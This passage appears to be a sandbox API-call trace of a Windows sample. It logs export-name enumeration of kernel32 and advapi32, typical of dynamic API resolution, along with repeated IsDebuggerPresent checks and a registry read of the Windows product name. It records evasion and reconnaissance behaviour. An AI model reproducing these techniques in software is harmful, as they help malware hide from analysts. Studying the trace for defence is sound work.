lstrlenA (lpString="GETFILEMUIINFO") returned 14 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileMUIPath" | out: lpString1="GetFileMUIPath") returned="GetFileMUIPath" [0047.607] lstrlenA (lpString="GETFILEMUIPATH") returned 14 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileSize" | out: lpString1="GetFileSize") returned="GetFileSize" [0047.607] lstrlenA (lpString="GETFILESIZE") returned 11 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileSizeEx" | out: lpString1="GetFileSizeEx") returned="GetFileSizeEx" [0047.607] lstrlenA (lpString="GETFILESIZEEX") returned 13 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileTime" | out: lpString1="GetFileTime") returned="GetFileTime" [0047.607] lstrlenA (lpString="GETFILETIME") returned 11 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileType" | out: lpString1="GetFileType") returned="GetFileType" [0047.608] lstrlenA (lpString="GETFILETYPE") returned 11 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFinalPathNameByHandleA" | out: lpString1="GetFinalPathNameByHandleA") returned="GetFinalPathNameByHandleA" [0047.608] lstrlenA (lpString="GETFINALPATHNAMEBYHANDLEA") returned 25 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFinalPathNameByHandleW" | out: lpString1="GetFinalPathNameByHandleW") returned="GetFinalPathNameByHandleW" [0047.608] lstrlenA (lpString="GETFINALPATHNAMEBYHANDLEW") returned 25 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFirmwareEnvironmentVariableA" | out: lpString1="GetFirmwareEnvironmentVariableA") returned="GetFirmwareEnvironmentVariableA" [0047.608] lstrlenA (lpString="GETFIRMWAREENVIRONMENTVARIABLEA") returned 31 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFirmwareEnvironmentVariableExA" | out: lpString1="GetFirmwareEnvironmentVariableExA") returned="GetFirmwareEnvironmentVariableExA" [0047.608] lstrlenA (lpString="GETFIRMWAREENVIRONMENTVARIABLEEXA") returned 33 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFirmwareEnvironmentVariableExW" | out: lpString1="GetFirmwareEnvironmentVariableExW") returned="GetFirmwareEnvironmentVariableExW" [0047.608] lstrlenA (lpString="GETFIRMWAREENVIRONMENTVARIABLEEXW") returned 33 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFirmwareEnvironmentVariableW" | out: lpString1="GetFirmwareEnvironmentVariableW") returned="GetFirmwareEnvironmentVariableW" [0047.608] lstrlenA (lpString="GETFIRMWAREENVIRONMENTVARIABLEW") returned 31 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFirmwareType" | out: lpString1="GetFirmwareType") returned="GetFirmwareType" [0047.608] lstrlenA (lpString="GETFIRMWARETYPE") returned 15 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFullPathNameA" | out: lpString1="GetFullPathNameA") returned="GetFullPathNameA" [0047.608] lstrlenA (lpString="GETFULLPATHNAMEA") returned 16 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFullPathNameTransactedA" | out: lpString1="GetFullPathNameTransactedA") returned="GetFullPathNameTransactedA" [0047.608] lstrlenA (lpString="GETFULLPATHNAMETRANSACTEDA") returned 26 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFullPathNameTransactedW" | out: lpString1="GetFullPathNameTransactedW") returned="GetFullPathNameTransactedW" [0047.608] lstrlenA (lpString="GETFULLPATHNAMETRANSACTEDW") returned 26 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFullPathNameW" | out: lpString1="GetFullPathNameW") returned="GetFullPathNameW" [0047.608] lstrlenA (lpString="GETFULLPATHNAMEW") returned 16 [0047.608] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetGeoInfoA" | out: lpString1="GetGeoInfoA") returned="GetGeoInfoA" [0047.608] lstrlenA (lpString="GETGEOINFOA") returned 11 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetGeoInfoW" | out: lpString1="GetGeoInfoW") returned="GetGeoInfoW" [0047.609] lstrlenA (lpString="GETGEOINFOW") returned 11 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetHandleContext" | out: lpString1="GetHandleContext") returned="GetHandleContext" [0047.609] lstrlenA (lpString="GETHANDLECONTEXT") returned 16 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetHandleInformation" | out: lpString1="GetHandleInformation") returned="GetHandleInformation" [0047.609] lstrlenA (lpString="GETHANDLEINFORMATION") returned 20 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLargePageMinimum" | out: lpString1="GetLargePageMinimum") returned="GetLargePageMinimum" [0047.609] lstrlenA (lpString="GETLARGEPAGEMINIMUM") returned 19 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLargestConsoleWindowSize" | out: lpString1="GetLargestConsoleWindowSize") returned="GetLargestConsoleWindowSize" [0047.609] lstrlenA (lpString="GETLARGESTCONSOLEWINDOWSIZE") returned 27 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLastError" | out: lpString1="GetLastError") returned="GetLastError" [0047.609] lstrlenA (lpString="GETLASTERROR") returned 12 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLocalTime" | out: lpString1="GetLocalTime") returned="GetLocalTime" [0047.609] lstrlenA (lpString="GETLOCALTIME") returned 12 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLocaleInfoA" | out: lpString1="GetLocaleInfoA") returned="GetLocaleInfoA" [0047.609] lstrlenA (lpString="GETLOCALEINFOA") returned 14 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLocaleInfoEx" | out: lpString1="GetLocaleInfoEx") returned="GetLocaleInfoEx" [0047.609] lstrlenA (lpString="GETLOCALEINFOEX") returned 15 [0047.609] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLocaleInfoW" | out: lpString1="GetLocaleInfoW") returned="GetLocaleInfoW" [0047.610] lstrlenA (lpString="GETLOCALEINFOW") returned 14 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLogicalDriveStringsA" | out: lpString1="GetLogicalDriveStringsA") returned="GetLogicalDriveStringsA" [0047.610] lstrlenA (lpString="GETLOGICALDRIVESTRINGSA") returned 23 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLogicalDriveStringsW" | out: lpString1="GetLogicalDriveStringsW") returned="GetLogicalDriveStringsW" [0047.610] lstrlenA (lpString="GETLOGICALDRIVESTRINGSW") returned 23 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLogicalDrives" | out: lpString1="GetLogicalDrives") returned="GetLogicalDrives" [0047.610] lstrlenA (lpString="GETLOGICALDRIVES") returned 16 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLogicalProcessorInformation" | out: lpString1="GetLogicalProcessorInformation") returned="GetLogicalProcessorInformation" [0047.610] lstrlenA (lpString="GETLOGICALPROCESSORINFORMATION") returned 30 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLogicalProcessorInformationEx" | out: lpString1="GetLogicalProcessorInformationEx") returned="GetLogicalProcessorInformationEx" [0047.610] lstrlenA (lpString="GETLOGICALPROCESSORINFORMATIONEX") returned 32 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLongPathNameA" | out: lpString1="GetLongPathNameA") returned="GetLongPathNameA" [0047.610] lstrlenA (lpString="GETLONGPATHNAMEA") returned 16 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLongPathNameTransactedA" | out: lpString1="GetLongPathNameTransactedA") returned="GetLongPathNameTransactedA" [0047.610] lstrlenA (lpString="GETLONGPATHNAMETRANSACTEDA") returned 26 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLongPathNameTransactedW" | out: lpString1="GetLongPathNameTransactedW") returned="GetLongPathNameTransactedW" [0047.610] lstrlenA (lpString="GETLONGPATHNAMETRANSACTEDW") returned 26 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0047.610] lstrlenA (lpString="GETLONGPATHNAMEW") returned 16 [0047.610] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetMailslotInfo" | out: lpString1="GetMailslotInfo") returned="GetMailslotInfo" [0047.612] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.612] IsDebuggerPresent () returned 0 [0047.612] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.613] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.614] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.614] IsDebuggerPresent () returned 0 [0047.614] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.615] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0047.615] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x21ff0b0 | out: phkResult=0x21ff0b0*=0x214) returned 0x0 [0047.616] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0047.616] RegQueryValueExW (in: hKey=0x214, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x640000, lpcbData=0x21ff0b4*=0x400 | out: lpType=0x0, lpData=0x640000*=0x57, lpcbData=0x21ff0b4*=0x1e) returned 0x0 [0047.616] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0047.617] RegCloseKey (hKey=0x214) returned 0x0 [0047.617] GetCurrentProcess () returned 0xffffffff [0047.617] lstrlenA (lpString="advapi32.dll") returned 12 [0047.617] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x761b0000 [0047.617] lstrcpyA (in: lpString1=0x21fe40c, lpString2="A_SHAFinal" | out: lpString1="A_SHAFinal") returned="A_SHAFinal" [0047.617] lstrlenA (lpString="A_SHAFINAL") returned 10 [0047.617] lstrcpyA (in: lpString1=0x21fe40c, lpString2="A_SHAInit" | out: lpString1="A_SHAInit") returned="A_SHAInit" [0047.617] lstrlenA (lpString="A_SHAINIT") returned 9 [0047.617] lstrcpyA (in: lpString1=0x21fe40c, lpString2="A_SHAUpdate" | out: lpString1="A_SHAUpdate") returned="A_SHAUpdate" [0047.617] lstrlenA (lpString="A_SHAUPDATE") returned 11 [0047.617] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AbortSystemShutdownA" | out: lpString1="AbortSystemShutdownA") returned="AbortSystemShutdownA" [0047.617] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNA") returned 20 [0047.617] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AbortSystemShutdownW" | out: lpString1="AbortSystemShutdownW") returned="AbortSystemShutdownW" [0047.617] lstrlenA (lpString="ABORTSYSTEMSHUTDOWNW") returned 20 [0047.617] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheck" | out: lpString1="AccessCheck") returned="AccessCheck" [0047.617] lstrlenA (lpString="ACCESSCHECK") returned 11 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckAndAuditAlarmA" | out: lpString1="AccessCheckAndAuditAlarmA") returned="AccessCheckAndAuditAlarmA" [0047.618] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMA") returned 25 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckAndAuditAlarmW" | out: lpString1="AccessCheckAndAuditAlarmW") returned="AccessCheckAndAuditAlarmW" [0047.618] lstrlenA (lpString="ACCESSCHECKANDAUDITALARMW") returned 25 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByType" | out: lpString1="AccessCheckByType") returned="AccessCheckByType" [0047.618] lstrlenA (lpString="ACCESSCHECKBYTYPE") returned 17 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByTypeAndAuditAlarmA" | out: lpString1="AccessCheckByTypeAndAuditAlarmA") returned="AccessCheckByTypeAndAuditAlarmA" [0047.618] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMA") returned 31 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByTypeAndAuditAlarmW" | out: lpString1="AccessCheckByTypeAndAuditAlarmW") returned="AccessCheckByTypeAndAuditAlarmW" [0047.618] lstrlenA (lpString="ACCESSCHECKBYTYPEANDAUDITALARMW") returned 31 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByTypeResultList" | out: lpString1="AccessCheckByTypeResultList") returned="AccessCheckByTypeResultList" [0047.618] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLIST") returned 27 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByTypeResultListAndAuditAlarmA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmA") returned="AccessCheckByTypeResultListAndAuditAlarmA" [0047.618] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMA") returned 41 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleA" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleA" [0047.618] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEA") returned 49 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByTypeResultListAndAuditAlarmByHandleW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW") returned="AccessCheckByTypeResultListAndAuditAlarmByHandleW" [0047.618] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMBYHANDLEW") returned 49 [0047.618] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AccessCheckByTypeResultListAndAuditAlarmW" | out: lpString1="AccessCheckByTypeResultListAndAuditAlarmW") returned="AccessCheckByTypeResultListAndAuditAlarmW" [0047.619] lstrlenA (lpString="ACCESSCHECKBYTYPERESULTLISTANDAUDITALARMW") returned 41 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAccessAllowedAce" | out: lpString1="AddAccessAllowedAce") returned="AddAccessAllowedAce" [0047.619] lstrlenA (lpString="ADDACCESSALLOWEDACE") returned 19 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAccessAllowedAceEx" | out: lpString1="AddAccessAllowedAceEx") returned="AddAccessAllowedAceEx" [0047.619] lstrlenA (lpString="ADDACCESSALLOWEDACEEX") returned 21 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAccessAllowedObjectAce" | out: lpString1="AddAccessAllowedObjectAce") returned="AddAccessAllowedObjectAce" [0047.619] lstrlenA (lpString="ADDACCESSALLOWEDOBJECTACE") returned 25 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAccessDeniedAce" | out: lpString1="AddAccessDeniedAce") returned="AddAccessDeniedAce" [0047.619] lstrlenA (lpString="ADDACCESSDENIEDACE") returned 18 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAccessDeniedAceEx" | out: lpString1="AddAccessDeniedAceEx") returned="AddAccessDeniedAceEx" [0047.619] lstrlenA (lpString="ADDACCESSDENIEDACEEX") returned 20 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAccessDeniedObjectAce" | out: lpString1="AddAccessDeniedObjectAce") returned="AddAccessDeniedObjectAce" [0047.619] lstrlenA (lpString="ADDACCESSDENIEDOBJECTACE") returned 24 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAce" | out: lpString1="AddAce") returned="AddAce" [0047.619] lstrlenA (lpString="ADDACE") returned 6 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAuditAccessAce" | out: lpString1="AddAuditAccessAce") returned="AddAuditAccessAce" [0047.619] lstrlenA (lpString="ADDAUDITACCESSACE") returned 17 [0047.619] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAuditAccessAceEx" | out: lpString1="AddAuditAccessAceEx") returned="AddAuditAccessAceEx" [0047.619] lstrlenA (lpString="ADDAUDITACCESSACEEX") returned 19 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAuditAccessObjectAce" | out: lpString1="AddAuditAccessObjectAce") returned="AddAuditAccessObjectAce" [0047.620] lstrlenA (lpString="ADDAUDITACCESSOBJECTACE") returned 23 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddConditionalAce" | out: lpString1="AddConditionalAce") returned="AddConditionalAce" [0047.620] lstrlenA (lpString="ADDCONDITIONALACE") returned 17 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddMandatoryAce" | out: lpString1="AddMandatoryAce") returned="AddMandatoryAce" [0047.620] lstrlenA (lpString="ADDMANDATORYACE") returned 15 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddUsersToEncryptedFile" | out: lpString1="AddUsersToEncryptedFile") returned="AddUsersToEncryptedFile" [0047.620] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILE") returned 23 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddUsersToEncryptedFileEx" | out: lpString1="AddUsersToEncryptedFileEx") returned="AddUsersToEncryptedFileEx" [0047.620] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILEEX") returned 25 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AdjustTokenGroups" | out: lpString1="AdjustTokenGroups") returned="AdjustTokenGroups" [0047.620] lstrlenA (lpString="ADJUSTTOKENGROUPS") returned 17 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AdjustTokenPrivileges" | out: lpString1="AdjustTokenPrivileges") returned="AdjustTokenPrivileges" [0047.620] lstrlenA (lpString="ADJUSTTOKENPRIVILEGES") returned 21 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AllocateAndInitializeSid" | out: lpString1="AllocateAndInitializeSid") returned="AllocateAndInitializeSid" [0047.620] lstrlenA (lpString="ALLOCATEANDINITIALIZESID") returned 24 [0047.620] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AllocateLocallyUniqueId" | out: lpString1="AllocateLocallyUniqueId") returned="AllocateLocallyUniqueId" [0047.620] lstrlenA (lpString="ALLOCATELOCALLYUNIQUEID") returned 23 [0047.631] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AreAllAccessesGranted" | out: lpString1="AreAllAccessesGranted") returned="AreAllAccessesGranted" [0047.631] lstrlenA (lpString="AREALLACCESSESGRANTED") returned 21 [0047.631] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AreAnyAccessesGranted" | out: lpString1="AreAnyAccessesGranted") returned="AreAnyAccessesGranted" [0047.631] lstrlenA (lpString="AREANYACCESSESGRANTED") returned 21 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditComputeEffectivePolicyBySid" | out: lpString1="AuditComputeEffectivePolicyBySid") returned="AuditComputeEffectivePolicyBySid" [0047.632] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYSID") returned 32 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditComputeEffectivePolicyByToken" | out: lpString1="AuditComputeEffectivePolicyByToken") returned="AuditComputeEffectivePolicyByToken" [0047.632] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYTOKEN") returned 34 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditEnumerateCategories" | out: lpString1="AuditEnumerateCategories") returned="AuditEnumerateCategories" [0047.632] lstrlenA (lpString="AUDITENUMERATECATEGORIES") returned 24 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditEnumeratePerUserPolicy" | out: lpString1="AuditEnumeratePerUserPolicy") returned="AuditEnumeratePerUserPolicy" [0047.632] lstrlenA (lpString="AUDITENUMERATEPERUSERPOLICY") returned 27 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditEnumerateSubCategories" | out: lpString1="AuditEnumerateSubCategories") returned="AuditEnumerateSubCategories" [0047.632] lstrlenA (lpString="AUDITENUMERATESUBCATEGORIES") returned 27 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditFree" | out: lpString1="AuditFree") returned="AuditFree" [0047.632] lstrlenA (lpString="AUDITFREE") returned 9 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditLookupCategoryGuidFromCategoryId" | out: lpString1="AuditLookupCategoryGuidFromCategoryId") returned="AuditLookupCategoryGuidFromCategoryId" [0047.632] lstrlenA (lpString="AUDITLOOKUPCATEGORYGUIDFROMCATEGORYID") returned 37 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditLookupCategoryIdFromCategoryGuid" | out: lpString1="AuditLookupCategoryIdFromCategoryGuid") returned="AuditLookupCategoryIdFromCategoryGuid" [0047.632] lstrlenA (lpString="AUDITLOOKUPCATEGORYIDFROMCATEGORYGUID") returned 37 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditLookupCategoryNameA" | out: lpString1="AuditLookupCategoryNameA") returned="AuditLookupCategoryNameA" [0047.632] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEA") returned 24 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditLookupCategoryNameW" | out: lpString1="AuditLookupCategoryNameW") returned="AuditLookupCategoryNameW" [0047.632] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEW") returned 24 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditLookupSubCategoryNameA" | out: lpString1="AuditLookupSubCategoryNameA") returned="AuditLookupSubCategoryNameA" [0047.632] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEA") returned 27 [0047.632] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditLookupSubCategoryNameW" | out: lpString1="AuditLookupSubCategoryNameW") returned="AuditLookupSubCategoryNameW" [0047.633] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEW") returned 27 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditQueryGlobalSaclA" | out: lpString1="AuditQueryGlobalSaclA") returned="AuditQueryGlobalSaclA" [0047.633] lstrlenA (lpString="AUDITQUERYGLOBALSACLA") returned 21 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditQueryGlobalSaclW" | out: lpString1="AuditQueryGlobalSaclW") returned="AuditQueryGlobalSaclW" [0047.633] lstrlenA (lpString="AUDITQUERYGLOBALSACLW") returned 21 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditQueryPerUserPolicy" | out: lpString1="AuditQueryPerUserPolicy") returned="AuditQueryPerUserPolicy" [0047.633] lstrlenA (lpString="AUDITQUERYPERUSERPOLICY") returned 23 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditQuerySecurity" | out: lpString1="AuditQuerySecurity") returned="AuditQuerySecurity" [0047.633] lstrlenA (lpString="AUDITQUERYSECURITY") returned 18 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditQuerySystemPolicy" | out: lpString1="AuditQuerySystemPolicy") returned="AuditQuerySystemPolicy" [0047.633] lstrlenA (lpString="AUDITQUERYSYSTEMPOLICY") returned 22 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditSetGlobalSaclA" | out: lpString1="AuditSetGlobalSaclA") returned="AuditSetGlobalSaclA" [0047.633] lstrlenA (lpString="AUDITSETGLOBALSACLA") returned 19 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditSetGlobalSaclW" | out: lpString1="AuditSetGlobalSaclW") returned="AuditSetGlobalSaclW" [0047.633] lstrlenA (lpString="AUDITSETGLOBALSACLW") returned 19 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditSetPerUserPolicy" | out: lpString1="AuditSetPerUserPolicy") returned="AuditSetPerUserPolicy" [0047.633] lstrlenA (lpString="AUDITSETPERUSERPOLICY") returned 21 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditSetSecurity" | out: lpString1="AuditSetSecurity") returned="AuditSetSecurity" [0047.633] lstrlenA (lpString="AUDITSETSECURITY") returned 16 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AuditSetSystemPolicy" | out: lpString1="AuditSetSystemPolicy") returned="AuditSetSystemPolicy" [0047.633] lstrlenA (lpString="AUDITSETSYSTEMPOLICY") returned 20 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BackupEventLogA" | out: lpString1="BackupEventLogA") returned="BackupEventLogA" [0047.633] lstrlenA (lpString="BACKUPEVENTLOGA") returned 15 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BackupEventLogW" | out: lpString1="BackupEventLogW") returned="BackupEventLogW" [0047.633] lstrlenA (lpString="BACKUPEVENTLOGW") returned 15 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegCloseKey" | out: lpString1="BaseRegCloseKey") returned="BaseRegCloseKey" [0047.633] lstrlenA (lpString="BASEREGCLOSEKEY") returned 15 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegCreateKey" | out: lpString1="BaseRegCreateKey") returned="BaseRegCreateKey" [0047.633] lstrlenA (lpString="BASEREGCREATEKEY") returned 16 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegDeleteKeyEx" | out: lpString1="BaseRegDeleteKeyEx") returned="BaseRegDeleteKeyEx" [0047.633] lstrlenA (lpString="BASEREGDELETEKEYEX") returned 18 [0047.633] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegDeleteValue" | out: lpString1="BaseRegDeleteValue") returned="BaseRegDeleteValue" [0047.633] lstrlenA (lpString="BASEREGDELETEVALUE") returned 18 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegFlushKey" | out: lpString1="BaseRegFlushKey") returned="BaseRegFlushKey" [0047.634] lstrlenA (lpString="BASEREGFLUSHKEY") returned 15 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegGetVersion" | out: lpString1="BaseRegGetVersion") returned="BaseRegGetVersion" [0047.634] lstrlenA (lpString="BASEREGGETVERSION") returned 17 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegLoadKey" | out: lpString1="BaseRegLoadKey") returned="BaseRegLoadKey" [0047.634] lstrlenA (lpString="BASEREGLOADKEY") returned 14 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegOpenKey" | out: lpString1="BaseRegOpenKey") returned="BaseRegOpenKey" [0047.634] lstrlenA (lpString="BASEREGOPENKEY") returned 14 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegRestoreKey" | out: lpString1="BaseRegRestoreKey") returned="BaseRegRestoreKey" [0047.634] lstrlenA (lpString="BASEREGRESTOREKEY") returned 17 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegSaveKeyEx" | out: lpString1="BaseRegSaveKeyEx") returned="BaseRegSaveKeyEx" [0047.634] lstrlenA (lpString="BASEREGSAVEKEYEX") returned 16 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegSetKeySecurity" | out: lpString1="BaseRegSetKeySecurity") returned="BaseRegSetKeySecurity" [0047.634] lstrlenA (lpString="BASEREGSETKEYSECURITY") returned 21 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegSetValue" | out: lpString1="BaseRegSetValue") returned="BaseRegSetValue" [0047.634] lstrlenA (lpString="BASEREGSETVALUE") returned 15 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BaseRegUnLoadKey" | out: lpString1="BaseRegUnLoadKey") returned="BaseRegUnLoadKey" [0047.634] lstrlenA (lpString="BASEREGUNLOADKEY") returned 16 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildExplicitAccessWithNameA" | out: lpString1="BuildExplicitAccessWithNameA") returned="BuildExplicitAccessWithNameA" [0047.634] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEA") returned 28 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildExplicitAccessWithNameW" | out: lpString1="BuildExplicitAccessWithNameW") returned="BuildExplicitAccessWithNameW" [0047.634] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEW") returned 28 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildImpersonateExplicitAccessWithNameA" | out: lpString1="BuildImpersonateExplicitAccessWithNameA") returned="BuildImpersonateExplicitAccessWithNameA" [0047.634] lstrlenA (lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEA") returned 39 [0047.634] lstrcpyA (in: lpString1=0x21fe40c, lpString2="BuildImpersonateExplicitAccessWithNameW" | out: lpString1="BuildImpersonateExplicitAccessWithNameW") returned="BuildImpersonateExplicitAccessWithNameW" [0047.634] lstrlenA 